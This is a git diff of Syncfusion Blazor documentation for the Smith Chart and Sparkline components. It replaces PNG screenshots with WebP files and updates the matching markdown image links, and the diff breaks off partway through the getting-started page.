diff --git a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-custom-tooltip.webp b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-custom-tooltip.webp
new file mode 100644
index 0000000000..d3aac0d8a6
Binary files /dev/null and b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-custom-tooltip.webp differ
diff --git a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip-template.png b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip-template.png
deleted file mode 100644
index dad64ffa17..0000000000
Binary files a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip-template.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip-template.webp b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip-template.webp
new file mode 100644
index 0000000000..876ee4e963
Binary files /dev/null and b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip-template.webp differ
diff --git a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip.png b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip.png
deleted file mode 100644
index fab2a27937..0000000000
Binary files a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip.png and /dev/null differ
diff --git a/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip.webp b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip.webp
new file mode 100644
index 0000000000..ebdea526fb
Binary files /dev/null and b/blazor/smith-chart/images/Tooltip/blazor-smith-chart-tooltip.webp differ
diff --git a/blazor/smith-chart/images/blazor-create-web-app.png b/blazor/smith-chart/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/smith-chart/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-create-web-app.webp b/blazor/smith-chart/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/smith-chart/images/blazor-create-web-app.webp differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-data-label.png b/blazor/smith-chart/images/blazor-smith-chart-data-label.png
deleted file mode 100644
index 92e125c5eb..0000000000
Binary files a/blazor/smith-chart/images/blazor-smith-chart-data-label.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-data-label.webp b/blazor/smith-chart/images/blazor-smith-chart-data-label.webp
new file mode 100644
index 0000000000..1374e0d09d
Binary files /dev/null and b/blazor/smith-chart/images/blazor-smith-chart-data-label.webp differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-legend.png b/blazor/smith-chart/images/blazor-smith-chart-legend.png
deleted file mode 100644
index 1a218b211c..0000000000
Binary files a/blazor/smith-chart/images/blazor-smith-chart-legend.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-legend.webp b/blazor/smith-chart/images/blazor-smith-chart-legend.webp
new file mode 100644
index 0000000000..2659fef999
Binary files /dev/null and b/blazor/smith-chart/images/blazor-smith-chart-legend.webp differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-marker.png b/blazor/smith-chart/images/blazor-smith-chart-marker.png
deleted file mode 100644
index 7485ff91ab..0000000000
Binary files a/blazor/smith-chart/images/blazor-smith-chart-marker.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-marker.webp b/blazor/smith-chart/images/blazor-smith-chart-marker.webp
new file mode 100644
index 0000000000..8d2438f9ae
Binary files /dev/null and b/blazor/smith-chart/images/blazor-smith-chart-marker.webp differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-series.png b/blazor/smith-chart/images/blazor-smith-chart-series.png
deleted file mode 100644
index 2116cad67e..0000000000
Binary files a/blazor/smith-chart/images/blazor-smith-chart-series.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-series.webp b/blazor/smith-chart/images/blazor-smith-chart-series.webp
new file mode 100644
index 0000000000..0c3f48c67b
Binary files /dev/null and b/blazor/smith-chart/images/blazor-smith-chart-series.webp differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-tooltip.png b/blazor/smith-chart/images/blazor-smith-chart-tooltip.png
deleted file mode 100644
index 0acbf976f5..0000000000
Binary files a/blazor/smith-chart/images/blazor-smith-chart-tooltip.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-tooltip.webp b/blazor/smith-chart/images/blazor-smith-chart-tooltip.webp
new file mode 100644
index 0000000000..1145cae1b2
Binary files /dev/null and b/blazor/smith-chart/images/blazor-smith-chart-tooltip.webp differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-with-title.png b/blazor/smith-chart/images/blazor-smith-chart-with-title.png
deleted file mode 100644
index 669ebfcd17..0000000000
Binary files a/blazor/smith-chart/images/blazor-smith-chart-with-title.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart-with-title.webp b/blazor/smith-chart/images/blazor-smith-chart-with-title.webp
new file mode 100644
index 0000000000..b8ae38f01f
Binary files /dev/null and b/blazor/smith-chart/images/blazor-smith-chart-with-title.webp differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart.png b/blazor/smith-chart/images/blazor-smith-chart.png
deleted file mode 100644
index deead52126..0000000000
Binary files a/blazor/smith-chart/images/blazor-smith-chart.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-smith-chart.webp b/blazor/smith-chart/images/blazor-smith-chart.webp
new file mode 100644
index 0000000000..f7f85e4b7c
Binary files /dev/null and b/blazor/smith-chart/images/blazor-smith-chart.webp differ
diff --git a/blazor/smith-chart/images/blazor-wasm-app-template.png b/blazor/smith-chart/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/smith-chart/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/smith-chart/images/blazor-wasm-app-template.webp b/blazor/smith-chart/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/smith-chart/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/smith-chart/images/frame-work.png b/blazor/smith-chart/images/frame-work.png
deleted file mode 100644
index 66350430d6..0000000000
Binary files a/blazor/smith-chart/images/frame-work.png and /dev/null differ
diff --git a/blazor/smith-chart/images/frame-work.webp b/blazor/smith-chart/images/frame-work.webp
new file mode 100644
index 0000000000..4ce41a3b15
Binary files /dev/null and b/blazor/smith-chart/images/frame-work.webp differ
diff --git a/blazor/smith-chart/images/import-cdn.png b/blazor/smith-chart/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/smith-chart/images/import-cdn.png and /dev/null differ
diff --git a/blazor/smith-chart/images/import-cdn.webp b/blazor/smith-chart/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/smith-chart/images/import-cdn.webp differ
diff --git a/blazor/smith-chart/images/new-project.png b/blazor/smith-chart/images/new-project.png
deleted file mode 100644
index ecd2ca0567..0000000000
Binary files a/blazor/smith-chart/images/new-project.png and /dev/null differ
diff --git a/blazor/smith-chart/images/new-project.webp b/blazor/smith-chart/images/new-project.webp
new file mode 100644
index 0000000000..c8e76c8020
Binary files /dev/null and b/blazor/smith-chart/images/new-project.webp differ
diff --git a/blazor/smith-chart/images/nuget-explorer.png b/blazor/smith-chart/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/smith-chart/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/smith-chart/images/nuget-explorer.webp b/blazor/smith-chart/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/smith-chart/images/nuget-explorer.webp differ
diff --git a/blazor/smith-chart/images/select-nuget.png b/blazor/smith-chart/images/select-nuget.png
deleted file mode 100644
index 69ff97a9b3..0000000000
Binary files a/blazor/smith-chart/images/select-nuget.png and /dev/null differ
diff --git a/blazor/smith-chart/images/select-nuget.webp b/blazor/smith-chart/images/select-nuget.webp
new file mode 100644
index 0000000000..d9e267635f
Binary files /dev/null and b/blazor/smith-chart/images/select-nuget.webp differ
diff --git a/blazor/smith-chart/smith-chart-axis.md b/blazor/smith-chart/smith-chart-axis.md
index a3bb74a0cc..d6ce392219 100644
--- a/blazor/smith-chart/smith-chart-axis.md
+++ b/blazor/smith-chart/smith-chart-axis.md
@@ -66,7 +66,7 @@ Axis labels are used to indicate what type of data is bound for the Smith Chart.
 }
 ```
 
-![Blazor Smith Chart Axis with Custom Label](./images/Axis/blazor-smith-chart-axis-with-custom-label.png)
+![Blazor Smith Chart Axis with Custom Label](./images/Axis/blazor-smith-chart-axis-with-custom-label.webp)
 
 ## Gridlines
 
@@ -120,7 +120,7 @@ The following properties can be customized in both the major and minor gridlines
 }
 ```
 
-![Blazor Smith Chart with GridLines](./images/Axis/blazor-smith-chart-with-gridlines.png)
+![Blazor Smith Chart with GridLines](./images/Axis/blazor-smith-chart-with-gridlines.webp)
 
 ## Axis Line
 
@@ -166,4 +166,4 @@ By default, the visibility of the axis line is **true**. Its visibility can be c
 }
 ```
 
-![Blazor Smith Chart with Custom Axis Line](./images/Axis/blazor-smith-chart-custom-axis-line.png)
\ No newline at end of file
+![Blazor Smith Chart with Custom Axis Line](./images/Axis/blazor-smith-chart-custom-axis-line.webp)
\ No newline at end of file
diff --git a/blazor/smith-chart/smith-chart-dimensions.md b/blazor/smith-chart/smith-chart-dimensions.md
index 6de9f4fe65..67ce1b135a 100644
--- a/blazor/smith-chart/smith-chart-dimensions.md
+++ b/blazor/smith-chart/smith-chart-dimensions.md
@@ -52,7 +52,7 @@ To set the size using CSS, add an [ID](https://help.syncfusion.com/cr/blazor/Syn
 }
 ```
 
-![Dimensions in Blazor Smith Chart via CSS](./images/Dimension/blazor-smith-chart-dimensions.png)
+![Dimensions in Blazor Smith Chart via CSS](./images/Dimension/blazor-smith-chart-dimensions.webp)
 
 ## Using API
 
@@ -89,7 +89,7 @@ The [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfSmi
 }
 ```
 
-![Changing Blazor Smith Chart Dimensions in pixel](./images/Dimension/blazor-smith-chart-dimensions.png)
+![Changing Blazor Smith Chart Dimensions in pixel](./images/Dimension/blazor-smith-chart-dimensions.webp)
 
 ### In percentage
 
@@ -125,4 +125,4 @@ The Smith Chart's [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazo
 }
 ```
 
-![Changing Blazor Smith Chart Dimensions in Percentage](./images/Dimension/blazor-smith-chart-dimensions.png)
\ No newline at end of file
+![Changing Blazor Smith Chart Dimensions in Percentage](./images/Dimension/blazor-smith-chart-dimensions.webp)
\ No newline at end of file
diff --git a/blazor/smith-chart/smith-chart-legend.md b/blazor/smith-chart/smith-chart-legend.md
index b6929c2294..32e4404f4e 100644
--- a/blazor/smith-chart/smith-chart-legend.md
+++ b/blazor/smith-chart/smith-chart-legend.md
@@ -53,7 +53,7 @@ By default, the visibility of the legend is **false**. To enable the legend, set
 }
 ```
 
-![Changing Legend Position in Blazor Smith Chart](./images/Legend/blazor-smith-chart-legend-position.png)
+![Changing Legend Position in Blazor Smith Chart](./images/Legend/blazor-smith-chart-legend-position.webp)
 
 Other than these positions, the legend can be placed anywhere in the Smith Chart. To achieve this, set the [Position](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartLegendSettings.html#Syncfusion_Blazor_Charts_SmithChartLegendSettings_Position) as **Custom** in the [SmithChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartLegendSettings.html) and specify the X and Y coordinates using the [X](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartLegendLocation.html#Syncfusion_Blazor_Charts_SmithChartLegendLocation_X) and [Y](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartLegendLocation.html#Syncfusion_Blazor_Charts_SmithChartLegendLocation_Y) properties in the [SmithChartLegendLocation](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SmithChartLegendLocation.html).
 
@@ -96,7 +96,7 @@ Other than these positions, the legend can be placed anywhere in the Smith Chart
 }
 ```
 
-![Blazor Smith Chart Legend with Custom Position](./images/Legend/blazor-smith-chart-legend-with-custom-position.png)
+![Blazor Smith Chart Legend with Custom Position](./images/Legend/blazor-smith-chart-legend-with-custom-position.webp)
 
 ## Legend Alignment
 
@@ -142,7 +142,7 @@ Other than positioning the legend in the Smith Chart, its alignment also can be
 }
 ```
 
-![Changing Legend Alignment in Blazor Smith Chart](./images/Legend/blazor-smith-chart-legend-alignment.png)
+![Changing Legend Alignment in Blazor Smith Chart](./images/Legend/blazor-smith-chart-legend-alignment.webp)
 
 ## Customization
 
@@ -190,7 +190,7 @@ By default, the legend is rendered in **Circle** shape and the color of the shap
 }
 ```
 
-![Blazor Smith Chart Legend with Custom Shape](./images/Legend/blazor-smith-chart-legend-custom-shape.png)
+![Blazor Smith Chart Legend with Custom Shape](./images/Legend/blazor-smith-chart-legend-custom-shape.webp)
 
 ### Legend Size
 
@@ -234,7 +234,7 @@ By default, the legend takes 20% - 25% of the Smith Chart's height horizontally
 }
 ```
 
-![Blazor Smith Chart Legend with Custom Size](./images/Legend/blazor-smith-chart-legend-custom-size.png)
+![Blazor Smith Chart Legend with Custom Size](./images/Legend/blazor-smith-chart-legend-custom-size.webp)
 
 ### Padding
 
@@ -281,7 +281,7 @@ The space between two legend items can be customized using the [ItemPadding](htt
 }
 ```
 
-![Blazor Smith Chart Legend with Padding](./images/Legend/blazor-smith-chart-legend-with-padding.png)
+![Blazor Smith Chart Legend with Padding](./images/Legend/blazor-smith-chart-legend-with-padding.webp)
 
 ### Other customization
 
@@ -332,7 +332,7 @@ Each legend item's style, border, and text can be customized in the Smith Chart
 }
 ```
 
-![Customizing Legend in Blazor Smith Chart](./images/Legend/blazor-smith-chart-custom-legend.png)
+![Customizing Legend in Blazor Smith Chart](./images/Legend/blazor-smith-chart-custom-legend.webp)
 
 ## Toggle Visibility
 
@@ -421,7 +421,7 @@ The legend can also be placed in rows and columns using the [RowCount](https://h
 }
 ```
 
-![Blazor Smith Chart with Legend Row and Column](./images/Legend/blazor-smith-chart-legend-row-and-column.png)
+![Blazor Smith Chart with Legend Row and Column](./images/Legend/blazor-smith-chart-legend-row-and-column.webp)
 
 ## Title
 
@@ -473,4 +473,4 @@ The title depicts the information about the legend collection in the Smith Chart
 }
 ```
 
-![Blazor Smith Chart with Legend Title](./images/Legend/blazor-smith-chart-legend-title.png)
+![Blazor Smith Chart with Legend Title](./images/Legend/blazor-smith-chart-legend-title.webp)
diff --git a/blazor/smith-chart/smith-chart-marker.md b/blazor/smith-chart/smith-chart-marker.md
index 9a6cbaae4c..faf788f1fd 100644
--- a/blazor/smith-chart/smith-chart-marker.md
+++ b/blazor/smith-chart/smith-chart-marker.md
@@ -43,7 +43,7 @@ By default, the visibility of the marker is **false**. It can be enabled by sett
 }
 ```
 
-![Blazor Smith Chart with Marker](./images/Marker/blazor-smith-chart-marker.png)
+![Blazor Smith Chart with Marker](./images/Marker/blazor-smith-chart-marker.webp)
 
 ### Marker Customization
 
@@ -92,7 +92,7 @@ Using the [SmithChartSeriesMarker](https://help.syncfusion.com/cr/blazor/Syncfus
 }
 ```
 
-![Blazor Smith Chart with Custom Marker](./images/Marker/blazor-smith-chart-custom-marker.png)
+![Blazor Smith Chart with Custom Marker](./images/Marker/blazor-smith-chart-custom-marker.webp)
 
 ## Data labels
 
@@ -128,7 +128,7 @@ By default, the data labels are disabled. It can be enabled by setting the [Visi
 }
 ```
 
-![Blazor Smith Chart with Data Label](./images/Marker/blazor-smith-chart-data-label.png)
+![Blazor Smith Chart with Data Label](./images/Marker/blazor-smith-chart-data-label.webp)
 
 ### Data labels customization
 
@@ -173,7 +173,7 @@ The data labels can be customized using the following properties.
 }
 ```
 
-![Blazor Smith Chart with Custom Data Label](./images/Marker/blazor-smith-chart-custom-data-label.png)
+![Blazor Smith Chart with Custom Data Label](./images/Marker/blazor-smith-chart-custom-data-label.webp)
 
 ### Smart Labels
 
@@ -211,7 +211,7 @@ Data labels can be placed smartly by setting the [EnableSmartLabels](https://hel
 }
 ```
 
-![Blazor Smith Chart with Smart Data Labels](./images/Marker/blazor-smith-chart-with-smart-data-labels.png)
+![Blazor Smith Chart with Smart Data Labels](./images/Marker/blazor-smith-chart-with-smart-data-labels.webp)
 
 ### Datalabel Template
 
@@ -254,4 +254,4 @@ To access the aggregate values inside the template, the implicit named parameter
 }
 ```
 
-![Blazor Smith Chart with Data Label Template](./images/Marker/blazor-smith-chart-data-label-template.png)
\ No newline at end of file
+![Blazor Smith Chart with Data Label Template](./images/Marker/blazor-smith-chart-data-label-template.webp)
\ No newline at end of file
diff --git a/blazor/smith-chart/smith-chart-series.md b/blazor/smith-chart/smith-chart-series.md
index 0a955a34fb..d54417b12b 100644
--- a/blazor/smith-chart/smith-chart-series.md
+++ b/blazor/smith-chart/smith-chart-series.md
@@ -50,7 +50,7 @@ The [SmithChartSeries](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.C
 }
 ```
 
-![Blazor Smith Chart with Series](./images/SmithChartSeries/blazor-smith-chart-series.png)
+![Blazor Smith Chart with Series](./images/SmithChartSeries/blazor-smith-chart-series.webp)
 
 ## Animation
 
diff --git a/blazor/smith-chart/smith-chart-tool-tip.md b/blazor/smith-chart/smith-chart-tool-tip.md
index 659e491667..4ceb22b6a9 100644
--- a/blazor/smith-chart/smith-chart-tool-tip.md
+++ b/blazor/smith-chart/smith-chart-tool-tip.md
@@ -40,7 +40,7 @@ When the mouse is moved over a point in the Smith Chart, a tooltip will appear d
 }
 ```
 
-![Blazor Smith Chart with Tooltip](./images/Tooltip/blazor-smith-chart-tooltip.png)
+![Blazor Smith Chart with Tooltip](./images/Tooltip/blazor-smith-chart-tooltip.webp)
 
 ## Tooltip Customization
 
@@ -81,7 +81,7 @@ The tooltip can be customized for each series using the following properties.
 }
 ```
 
-![Blazor Smith Chart with Custom Tooltip](./images/Tooltip/blazor-smith-chart-custom-tooltip.png)
+![Blazor Smith Chart with Custom Tooltip](./images/Tooltip/blazor-smith-chart-custom-tooltip.webp)
 
 ## Tooltip Template
 
@@ -123,4 +123,4 @@ To access the aggregate values inside the template, the implicit named parameter
 }
 ```
 
-![Blazor Smith Chart with Tooltip Template](./images/Tooltip/blazor-smith-chart-tooltip-template.png)
\ No newline at end of file
+![Blazor Smith Chart with Tooltip Template](./images/Tooltip/blazor-smith-chart-tooltip-template.webp)
\ No newline at end of file
diff --git a/blazor/smith-chart/title-subtitle.md b/blazor/smith-chart/title-subtitle.md
index 0dbb4b5308..38b5df7081 100644
--- a/blazor/smith-chart/title-subtitle.md
+++ b/blazor/smith-chart/title-subtitle.md
@@ -43,7 +43,7 @@ The information about the data plotted in the Smith Chart is depicted using the
 }
 ```
 
-![Blazor Smith Chart with Title and Subtitle](./images/Title/blazor-smith-chart-title-and-subtitle.png)
+![Blazor Smith Chart with Title and Subtitle](./images/Title/blazor-smith-chart-title-and-subtitle.webp)
 
 ## Trim Title
 
@@ -84,7 +84,7 @@ Both the title and the subtitle of the Smith Chart can be trimmed if it exceeds
 }
 ```
 
-![Blazor Smith Chart with Trim Title](./images/Title/blazor-smith-chart-trim-title.png)
+![Blazor Smith Chart with Trim Title](./images/Title/blazor-smith-chart-trim-title.webp)
 
 ## Title Customization
 
@@ -126,4 +126,4 @@ Title and subtitle can be customized using the following properties.
 }
 ```
 
-![Blazor Smith Chart with Custom Title](./images/Title/blazor-smith-chart-with-custom-title.png)
\ No newline at end of file
+![Blazor Smith Chart with Custom Title](./images/Title/blazor-smith-chart-with-custom-title.webp)
\ No newline at end of file
diff --git a/blazor/sparkline/appearance.md b/blazor/sparkline/appearance.md
index 7f52e2d68b..e1639c932f 100644
--- a/blazor/sparkline/appearance.md
+++ b/blazor/sparkline/appearance.md
@@ -26,7 +26,7 @@ Right-to-left (RTL) rendering is supported and can be enabled by setting the [En
 
 ```
 
-![Right to Left in Blazor Sparkline Chart](images/Appearance/blazor-sparkline-right-to-left.png)
+![Right to Left in Blazor Sparkline Chart](images/Appearance/blazor-sparkline-right-to-left.webp)
 
 ## Border
 
@@ -44,7 +44,7 @@ The border can be enabled and customized by specifying the [Color](https://help.
 
 ```
 
-![Blazor Sparkline Chart with Border](images/Appearance/blazor-sparkline-with-border.png)
+![Blazor Sparkline Chart with Border](images/Appearance/blazor-sparkline-with-border.webp)
 
 ## Padding
 
@@ -64,7 +64,7 @@ Padding between the container and the component is supported using [SparklinePad
 
 ```
 
-![Blazor Sparkline Chart with Padding](images/Appearance/blazor-sparkline-with-padding.png)
+![Blazor Sparkline Chart with Padding](images/Appearance/blazor-sparkline-with-padding.webp)
 
 ## Background
 
@@ -85,4 +85,4 @@ The background color of the Sparkline area can be changed using the [Background]
 
 ```
 
-![Blazor Sparkline Chart with Custom Background](images/Appearance/blazor-sparkline-custom-background.png)
+![Blazor Sparkline Chart with Custom Background](images/Appearance/blazor-sparkline-custom-background.webp)
diff --git a/blazor/sparkline/axis-customization.md b/blazor/sparkline/axis-customization.md
index 33f4cf4693..9cb41be760 100644
--- a/blazor/sparkline/axis-customization.md
+++ b/blazor/sparkline/axis-customization.md
@@ -44,7 +44,7 @@ A numeric axis value is provided by setting the [ValueType](https://help.syncfus
 
 ```
 
-![Blazor Sparkline Chart with Numeric Value](images/Axis/blazor-sparkline-numeric-value.png)
+![Blazor Sparkline Chart with Numeric Value](images/Axis/blazor-sparkline-numeric-value.webp)
 
 ### Category
 
@@ -78,7 +78,7 @@ A category axis value is provided by setting the [ValueType](https://help.syncfu
 
 ```
 
-![Blazor Sparkline Chart with Category Value](images/Axis/blazor-sparkline-category-value.png)
+![Blazor Sparkline Chart with Category Value](images/Axis/blazor-sparkline-category-value.webp)
 
 ### DateTime
 
@@ -112,7 +112,7 @@ A DateTime axis value is provided by setting the [ValueType](https://help.syncfu
 
 ```
 
-![Blazor Sparkline Chart with DateTime Value](images/Axis/blazor-sparkline-datetime-value.png)
+![Blazor Sparkline Chart with DateTime Value](images/Axis/blazor-sparkline-datetime-value.webp)
 
 ## Change the Min and Max Values of Axis
 
@@ -130,7 +130,7 @@ The minimum and maximum values of the X-axis can be customized using the [MinX](
 
 N> Refer to the [code block](#numeric) for the **ExpenditureReport** property value.
 
-![Changing Minimum and Maximum Values of Blazor Sparkline Chart Axis](images/Axis/blazor-sparkline-min-max-value.png)
+![Changing Minimum and Maximum Values of Blazor Sparkline Chart Axis](images/Axis/blazor-sparkline-min-max-value.webp)
 
 ## Change Value of Axis
 
@@ -148,7 +148,7 @@ The horizontal axis line value can be customized by setting the [Value](https://
 
 N> Refer to the [code block](#numeric) for the **ExpenditureReport** property value.
 
-![Blazor Sparkline Chart with Axis Value](images/Axis/blazor-sparkline-axis-value.png)
+![Blazor Sparkline Chart with Axis Value](images/Axis/blazor-sparkline-axis-value.webp)
 
 ## Axis Line Customization
 
@@ -177,4 +177,4 @@ The axis line can be customized using the following properties:
 
 N> Refer to the [code block](#numeric) for the **ExpenditureReport** property value.
 
-![Blazor Sparkline Chart with Custom Axis Line](images/Axis/blazor-sparkline-custom-axis-line.png)
+![Blazor Sparkline Chart with Custom Axis Line](images/Axis/blazor-sparkline-custom-axis-line.webp)
diff --git a/blazor/sparkline/chart-types.md b/blazor/sparkline/chart-types.md
index 473d84eb65..4fe28b7a35 100644
--- a/blazor/sparkline/chart-types.md
+++ b/blazor/sparkline/chart-types.md
@@ -45,7 +45,7 @@ The [Line](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Sparkl
 
 ```
 
-![Blazor Sparkline Line Chart](images/SparklineTypes/blazor-line-sparkline.png)
+![Blazor Sparkline Line Chart](images/SparklineTypes/blazor-line-sparkline.webp)
 
 ## Column
 
@@ -62,7 +62,7 @@ The [Column](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Spar
 
 N> Refer to the [code block](#line) for the **PopulationData** property value.
 
-![Blazor Sparkline Column Chart](images/SparklineTypes/blazor-column-sparkline.png)
+![Blazor Sparkline Column Chart](images/SparklineTypes/blazor-column-sparkline.webp)
 
 ## Pie
 
@@ -79,7 +79,7 @@ The [Pie](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Sparkli
 
 N> Refer to the [code block](#line) for the **PopulationData** property value.
 
-![Blazor Sparkline Pie Chart](images/SparklineTypes/blazor-pie-sparkline.png)
+![Blazor Sparkline Pie Chart](images/SparklineTypes/blazor-pie-sparkline.webp)
 
 ## WinLoss
 
@@ -94,7 +94,7 @@ The [WinLoss](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Spa
 
 ```
 
-![Blazor Sparkline WinLoss Chart](images/SparklineTypes/blazor-winloss-sparkline.png)
+![Blazor Sparkline WinLoss Chart](images/SparklineTypes/blazor-winloss-sparkline.webp)
 
 ## Area
 
@@ -111,4 +111,4 @@ The [Area](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Sparkl
 
 N> Refer to the [code block](#line) for the **PopulationData** property value.
 
-![Blazor Sparkline Area Chart](images/SparklineTypes/blazor-area-sparkline.png)
+![Blazor Sparkline Area Chart](images/SparklineTypes/blazor-area-sparkline.webp)
diff --git a/blazor/sparkline/data-labels.md b/blazor/sparkline/data-labels.md
index 9959c55d24..105f3393e7 100644
--- a/blazor/sparkline/data-labels.md
+++ b/blazor/sparkline/data-labels.md
@@ -34,7 +34,7 @@ The [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Spa
 
 ```
 
-![Blazor Sparkline Chart with Data Label](images/Datalabels/blazor-sparkline-data-label.png)
+![Blazor Sparkline Chart with Data Label](images/Datalabels/blazor-sparkline-data-label.webp)
 
 ## Data Label Customization
 
@@ -63,7 +63,7 @@ The following properties can be used to customize Sparkline data labels:
 
 ```
 
-![Blazor Sparkline Chart with Custom Data Label](images/Datalabels/blazor-sparkline-custom-data-label.png)
+![Blazor Sparkline Chart with Custom Data Label](images/Datalabels/blazor-sparkline-custom-data-label.webp)
 
 ## Format
 
@@ -104,4 +104,4 @@ The data label text can be formatted by specifying the property name from the da
 
 ```
 
-![Label Formatting in Blazor Sparkline Chart](images/Datalabels/blazor-sparkline-label-format.png)
+![Label Formatting in Blazor Sparkline Chart](images/Datalabels/blazor-sparkline-label-format.webp)
diff --git a/blazor/sparkline/dimensions.md b/blazor/sparkline/dimensions.md
index 4625dad121..a4dc43350d 100644
--- a/blazor/sparkline/dimensions.md
+++ b/blazor/sparkline/dimensions.md
@@ -44,7 +44,7 @@ The size of the [Blazor Sparkline Chart](https://www.syncfusion.com/blazor-compo
 
 ```
 
-![Blazor Sparkline Chart with Container Size](./images/SparklineDimension/blazor-sparkline-chart-container-size.png)
+![Blazor Sparkline Chart with Container Size](./images/SparklineDimension/blazor-sparkline-chart-container-size.webp)
 
 ## Size for Sparkline
 
@@ -70,7 +70,7 @@ Specify the Sparkline Chart size in pixels.
 
 N> Refer to the [code block](#size-for-the-container) for the `populationData` property value.
 
-![Changing Blazor Sparkline Chart Size in Pixel](./images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.png)
+![Changing Blazor Sparkline Chart Size in Pixel](./images/SparklineDimension/blazor-sparkline-chart-size-in-pixel.webp)
 
 ### In Percentage
 
@@ -94,4 +94,4 @@ Set values in percentage to size the Sparkline Chart relative to its container.
 
 N> Refer to the [code block](#size-for-the-container) for the `populationData` property value.
 
-![Changing Blazor Sparkline Chart Size in Percentage](./images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.png)
+![Changing Blazor Sparkline Chart Size in Percentage](./images/SparklineDimension/blazor-sparkline-chart-size-in-percentage.webp)
diff --git a/blazor/sparkline/getting-started-webapp.md b/blazor/sparkline/getting-started-webapp.md
index 79f5ecaa58..83093c19dc 100644
--- a/blazor/sparkline/getting-started-webapp.md
+++ b/blazor/sparkline/getting-started-webapp.md
@@ -222,7 +222,7 @@ Now map the `Month` and the `Celsius` fields from the datasource to [XName](http
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sparkline component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrJXWqjfqKBvkdq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart](./images/blazor-sparkline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrJXWqjfqKBvkdq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Chart](./images/blazor-sparkline.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Sparkline).
 
@@ -246,7 +246,7 @@ Change the Sparkline type using the [Type](https://help.syncfusion.com/cr/blazor
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLTtsqNTqqdYsqg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Area Chart](./images/blazor-area-sparkline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLTtsqNTqqdYsqg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sparkline Area Chart](./images/blazor-area-sparkline.webp)" %}
 
 N> Refer to [code block](#populate-sparkline-with-data) to know about the property value of **ClimateData**.
 
@@ -282,7 +282,7 @@ Available types are:
 
